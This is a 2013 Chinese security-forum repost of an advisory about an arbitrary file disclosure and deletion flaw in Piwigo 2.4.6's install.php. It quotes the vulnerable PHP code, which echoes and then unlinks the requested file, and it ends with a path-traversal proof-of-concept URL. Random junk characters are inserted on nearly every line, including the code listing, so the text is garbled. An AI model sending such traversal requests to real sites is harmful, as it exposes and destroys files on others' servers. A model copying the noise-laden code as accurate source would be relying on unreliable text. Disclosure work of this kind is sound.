找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2388|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。; N) \' }2 c3 H# G
- i7 M0 q6 D; e8 D" c8 i
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
9 e5 R* j- s, z# H" Q====================================================================1 C4 j! H0 a5 ]) c3 @, s3 S
/install.php:. @2 D3 W# z: a& y' J6 O2 {0 a: ~
-------------
% ?$ C8 a) n6 w) t+ r; h9 ^113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))+ e) L9 C: x6 ^8 \# n
114: {
0 C( U: T6 F" B6 F6 R$ {) @8 l- P$ s& N115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 D; C5 m' k* w$ {
116:   header('Cache-Control: no-cache, must-revalidate');
; i) p$ ~: F+ `9 f# b! h4 z, H* g117:   header('Pragma: no-cache');5 s4 N. [0 \+ g8 B! }) L- T% q) G
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
$ m! W  w- M  [& [9 E! M119:   header('Content-Transfer-Encoding: binary');7 m* j" N2 o4 c1 e
120:   header('Content-Length: '.filesize($filename));# U" g: W0 G! d' J. u. E
121:   echo file_get_contents($filename);! ?5 M, R8 z0 B9 O% H2 D3 G
122:   unlink($filename);1 n$ v7 k1 Y2 \* X8 |6 H
123:   exit();7 @0 J6 ]2 n( @9 Q
124: }& T6 a7 P+ i" _1 F" x
====================================================================5 g4 B9 D( \; j
% w- I' R# H$ h! N7 @" r/ l2 i
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)( N* ~0 n# ?7 }: @9 w% q
           Apache 2.4.2 (Win32)
# x$ `5 P  n- l8 J/ h           PHP 5.4.42 Y. a9 w2 ?+ p  ?; X3 n! h$ p0 a
           MySQL 5.5.25a' Y& J, l- h% O
3 R5 f" l5 i3 P% L
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
8 L4 n2 R$ m$ b                            @zeroscience
/ t! X1 N2 S! | ' v1 ~1 F. f. ^- L* i# s) T
Advisory ID: ZSL-2013-5127
! s% U6 \7 C2 g3 sAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php0 h: h+ m" ~" E8 P
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843# m$ L/ m& Y* K: X% e  n

  I% b, }! e; R; I; R& Y15.02.2013- T1 ~1 @7 d' v7 b' e5 u# ?

1 }; N1 l: p- V: a--
3 ]6 u3 m! z+ R- b7 C& chttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt* G) V7 E# D- B2 q% ~1 q0 E

- T9 C3 H- c& c! g6 N" c2 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表